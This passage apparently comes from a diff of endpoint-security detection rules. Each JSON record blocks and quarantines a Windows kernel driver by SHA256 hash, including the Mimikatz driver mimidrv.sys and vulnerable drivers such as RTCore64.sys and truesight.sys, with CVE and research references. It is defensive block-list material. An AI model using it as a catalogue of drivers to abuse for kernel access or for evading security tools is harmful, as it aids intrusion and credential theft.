+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.467955Z",
+  "creation_date": "2026-03-23T11:45:30.467960Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.467969Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9b6d450b6e2b66e8356b9d8a354e8c3a96426b7f15adf2f2025dda13c01881a3",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fe9e30d7-42cd-5bf4-8533-ffc6aa44e019",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.818595Z",
+  "creation_date": "2026-03-23T11:45:30.818597Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.818602Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0c018eaa293c03febe2aef1e868fca782a06b49d7d2f9f388ae5fb57604c5250",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fea4556e-3811-5b05-8260-c70f7cc31eb0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.607935Z",
+  "creation_date": "2026-03-23T11:45:29.607937Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.607950Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f9895458e73d4b0ef01eda347fb695bb00e6598d9f5e2506161b70ad96bb7298",
+  "comment": "Micro-Star MSI Afterburner vulnerable driver (aka RTCore32.sys and RTCore64.sys) [CVE-2019-16098] [https://www.loldrivers.io/drivers/275c80c5-a67c-4536-b29e-4e481242cb01/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fea99ad8-0cd1-5ffa-a3bf-f3f17e104c60",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.156758Z",
+  "creation_date": "2026-03-23T11:45:31.156759Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.156765Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4e5c7d0ca29d9f9420848aaa8d05ae59aa366a490c2b010e3e1becb3eb0ff3dc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "feb1a439-8e4e-566c-a5ae-dac318aa0b1e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.140819Z",
+  "creation_date": "2026-03-23T11:45:31.140821Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.140827Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d1bd9b485f6859a19552d9b01432be73b0bcde66aab8b9423c77d8817e930157",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "feb289df-0bb6-5b34-898a-cb71d54ab887",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.822372Z",
+  "creation_date": "2026-03-23T11:45:30.822374Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.822379Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8cc23f39380a590d822d9c064a064c274554d814b651ae4b2f0560d8b016f105",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "feb6edc4-0730-5325-919b-7be6539cc845",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.612933Z",
+  "creation_date": "2026-03-23T11:45:29.612935Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.612940Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "615a7c647eba3f2dcea463d5705d5d59ca70b4250f895ad20ce6876076a8fa28",
+  "comment": "Marvin Test Solutions HW vulnerable driver (aka Hw.sys and Hw64.sys) [https://decoded.avast.io/janvojtesek/the-return-of-candiru-zero-days-in-the-middle-east/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "febb9889-8416-54ca-b5c9-9cc527864a05",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.145429Z",
+  "creation_date": "2026-03-23T11:45:32.145433Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.145440Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "206006a11f233b9ae876952308f6d60d7a75c80b4d530a3e6146a0b4d8cd3e4f",
+  "comment": "Malicious Kernel Driver (aka driver_206006a1.sys) [https://www.loldrivers.io/drivers/9e0a1bae-6509-41fd-a5bf-dfe6cf388682/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fec757b9-dee7-5ae6-9539-08938e7effc0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.152899Z",
+  "creation_date": "2026-03-23T11:45:31.152902Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.152910Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ae896bb9bea5396d46552a7b6980110b24751522e55228728d3e15c9760ec610",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fed9d6d0-0c43-5c67-924b-025236b34707",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.157493Z",
+  "creation_date": "2026-03-23T11:45:31.157495Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.157501Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bb31600da026a2b53fed032d906928e27ff317829e8ad77cd20aa838cac05f62",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fedb3b3e-bbb1-5d14-8e94-dfffa6ade235",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.477141Z",
+  "creation_date": "2026-03-23T11:45:30.477145Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.477153Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "033c4634ab1a43bc3247384864f3380401d3b4006a383312193799dded0de4c7",
+  "comment": "Vulnerable Kernel Driver (aka elbycdio.sys) [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fee9d4e6-b1eb-5d40-ae28-11e89a55cd2a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.478162Z",
+  "creation_date": "2026-03-23T11:45:30.478166Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.478175Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "34d55c87feec5eeb4f826fc6301c22017cd3e83387529a06c5493c260597599b",
+  "comment": "Vulnerable Kernel Driver (aka elbycdio.sys) [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "feefadfe-5f06-51fb-9061-0e337cb84d75",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.473009Z",
+  "creation_date": "2026-03-23T11:45:30.473012Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.473021Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "922d23999a59ce0d84b479170fd265650bc7fae9e7d41bf550d8597f472a3832",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fefdfffa-a9ca-59b6-bc7f-f9fa6b500ab6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.819123Z",
+  "creation_date": "2026-03-23T11:45:30.819125Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.819131Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bb11fe81a2d2ca868398055e9f8cc7349ff4ac6d0a4f1e85e7e5d04ed7357349",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ff189a6d-8933-5d47-bacc-5aad0fc2ce04",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.972319Z",
+  "creation_date": "2026-03-23T11:45:29.972321Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.972326Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e7fe1fa6d2e5502ff1882a345790d0aab3ad34fe269ab23e3115d2d93db3fe6b",
+  "comment": "Intel Ethernet diagnostics vulnerable driver (aka iQVW64.sys) [CVE-2015-2291] [https://www.loldrivers.io/drivers/1d2cdef1-de44-4849-80e5-e2fa288df681/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ff1dba48-e4ae-5478-a65a-159da779a864",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.479473Z",
+  "creation_date": "2026-03-23T11:45:31.479477Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.479487Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e960f161a76f0f805553471bc9d0eaa4b4dfa346ead37000892f2b7cc3e4872d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ff20271a-86dd-5bd7-8423-8b1792d7b359",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.984017Z",
+  "creation_date": "2026-03-23T11:45:29.984019Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.984024Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "37e33b54de1bbe4cf86fa58aeec39084afb35e0cbe5f69c763ecaec1d352daa0",
+  "comment": "Vulnerable Kernel Driver (aka msrhook.sys) [https://www.loldrivers.io/drivers/1a1cf88a-96d0-46cd-a24d-1535e4a5f6e3/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ff21aca7-04e6-5115-b8d7-beed0a7c076d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.499564Z",
+  "creation_date": "2026-03-23T11:45:31.499567Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.499575Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "829250e3c5cecd882f57e1e64593b7aa3ed89a9919ffa9b85183dac4f1f9b873",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ff24216c-1e4e-5239-b499-1c245ee8d2f8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.816803Z",
+  "creation_date": "2026-03-23T11:45:30.816805Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.816811Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4b4ea21da21a1167c00b903c05a4e3af6c514ea3dfe0b5f371f6a06305e1d27f",
+  "comment": "Vulnerable Kernel Driver (aka CP2X72C.SYS) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ff30d18a-4dc2-54c7-9466-0dfa2ff07e2a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.156310Z",
+  "creation_date": "2026-03-23T11:45:31.156311Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.156317Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9561b6d8c5328b01f05c7499624469085e1144f0d9f33568f3f1d438b70d06a3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ff33279e-1617-5fd8-8baf-d64a7c5f936e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.141768Z",
+  "creation_date": "2026-03-23T11:45:31.141770Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.141775Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3d6101de6d747a4d88af30797fff089e04996019fa7c0d3c1895b1f92dbcac95",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ff3898a6-785a-59f8-8b8c-0f352b1297ce",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.469303Z",
+  "creation_date": "2026-03-23T11:45:30.469307Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.469323Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d6d56ffa4dcec362148ce6b3806773403cf7ca61f991e17f7286ee975a706f78",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ff3adaaa-2d2c-5f46-924b-1a7f450d5a4b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.465681Z",
+  "creation_date": "2026-03-23T11:45:30.465684Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
